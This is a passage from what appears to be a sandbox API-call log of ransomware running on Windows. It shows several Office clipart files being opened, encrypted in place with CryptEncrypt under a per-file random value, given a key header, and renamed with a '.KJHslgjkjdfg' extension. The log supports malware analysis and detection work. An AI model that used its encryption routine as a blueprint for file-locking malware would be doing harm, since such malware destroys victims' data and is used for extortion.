dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0199.107] GetProcessHeap () returned 0x2ef0000 [0199.107] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0199.108] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105386.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105386.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105386.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105386.wmf.kjhslgjkjdfg")) returned 1 [0199.109] CloseHandle (hObject=0x130) returned 1 [0199.109] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56347c90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x203c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0105388.WMF", cAlternateFileName="")) returned 1 [0199.109] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105388.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105388.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0199.110] GetProcessHeap () returned 0x2ef0000 [0199.110] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0199.110] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0199.110] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0199.110] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0199.112] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0199.113] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0199.113] GetProcessHeap () returned 0x2ef0000 [0199.113] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0199.113] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0199.113] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0199.113] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0199.113] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0199.113] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0199.113] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0199.113] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0199.113] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0199.113] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0199.113] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0199.113] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0199.113] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x203c, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x203c, lpOverlapped=0x0) returned 1 [0199.114] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x2040, dwBufLen=0x2040 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x2040) returned 1 [0199.114] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0199.114] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x2040, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x2040, lpOverlapped=0x0) returned 1 [0199.115] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0199.115] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x2114, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0199.115] SetEndOfFile (hFile=0x130) returned 1 [0199.118] GetProcessHeap () returned 0x2ef0000 [0199.118] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0199.118] GetProcessHeap () returned 0x2ef0000 [0199.118] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0199.118] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105388.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105388.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105388.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105388.wmf.kjhslgjkjdfg")) returned 1 [0199.119] CloseHandle (hObject=0x130) returned 1 [0199.119] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e68d90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1350, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0105390.WMF", cAlternateFileName="")) returned 1 [0199.119] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105390.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105390.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0199.120] GetProcessHeap () returned 0x2ef0000 [0199.120] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0199.120] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0199.120] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0199.120] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0199.120] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0199.120] GetProcessHeap () returned 0x2ef0000 [0199.120] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0199.120] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0199.120] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0199.120] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0199.129] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0199.129] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0199.129] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0199.130] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0199.130] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0199.130] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0199.130] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0199.130] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0199.130] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x1350, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x1350, lpOverlapped=0x0) returned 1 [0199.131] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1350, dwBufLen=0x1350 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1350) returned 1 [0199.131] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0199.131] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x1350, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x1350, lpOverlapped=0x0) returned 1 [0199.131] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0199.131] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1424, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0199.132] SetEndOfFile (hFile=0x130) returned 1 [0199.135] GetProcessHeap () returned 0x2ef0000 [0199.135] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0199.135] GetProcessHeap () returned 0x2ef0000 [0199.135] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0199.135] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105390.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105390.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105390.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105390.wmf.kjhslgjkjdfg")) returned 1 [0199.136] CloseHandle (hObject=0x130) returned 1 [0199.136] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56347c90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2b04, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0105396.WMF", cAlternateFileName="")) returned 1 [0199.136] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105396.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105396.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0199.137] GetProcessHeap () returned 0x2ef0000 [0199.137] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0199.137] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0199.137] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0199.138] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xc, lpOverlapped=0x0) returned 1 [0199.140] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0199.140] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0199.140] GetProcessHeap () returned 0x2ef0000 [0199.140] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0199.140] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0199.140] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0199.140] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0199.140] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0199.140] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0199.141] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0199.141] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0199.141] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0199.141] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0199.141] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0199.141] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0199.141] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x2b04, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x2b04, lpOverlapped=0x0) returned 1 [0199.142] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x2b10, dwBufLen=0x2b10 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x2b10) returned 1 [0199.143] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0199.143] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x2b10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x2b10, lpOverlapped=0x0) returned 1 [0199.143] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0199.143] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x2be4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0199.143] SetEndOfFile (hFile=0x130) returned 1 [0199.145] GetProcessHeap () returned 0x2ef0000 [0199.145] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0199.145] GetProcessHeap () returned 0x2ef0000 [0199.145] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0199.145] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105396.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105396.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105396.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105396.wmf.kjhslgjkjdfg")) returned 1 [0199.146] CloseHandle (hObject=0x130) returned 1 [0199.146] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e68d90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xd00, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0105398.WMF", cAlternateFileName="")) returned 1 [0199.147] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105398.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105398.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0199.148] GetProcessHeap () returned 0x2ef0000 [0199.148] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0199.148] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0199.148] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0199.149] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0199.149] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0199.149] GetProcessHeap () returned 0x2ef0000 [0199.149] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0199.149] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0199.149] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0199.149] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0199.194] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0199.194] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0199.194] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0199.194] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0199.194] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0199.194] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0199.194] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0199.194] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0199.194] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0xd00, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0xd00, lpOverlapped=0x0) returned 1 [0199.194] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xd00, dwBufLen=0xd00 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xd00) returned 1 [0199.194] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0199.194] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0xd00, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0xd00, lpOverlapped=0x0) returned 1 [0199.195] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0199.195] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xdd4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0199.195] SetEndOfFile (hFile=0x130) returned 1 [0199.197] GetProcessHeap () returned 0x2ef0000 [0199.197] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0199.197] GetProcessHeap () returned 0x2ef0000 [0199.197] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0199.197] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105398.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105398.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105398.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105398.wmf.kjhslgjkjdfg")) returned 1 [0199.199] CloseHandle (hObject=0x130) returned 1 [0199.199] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e68d90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4fdc, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0105410.WMF", cAlternateFileName="")) returned 1 [0199.199] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105410.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105410.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0199.200] 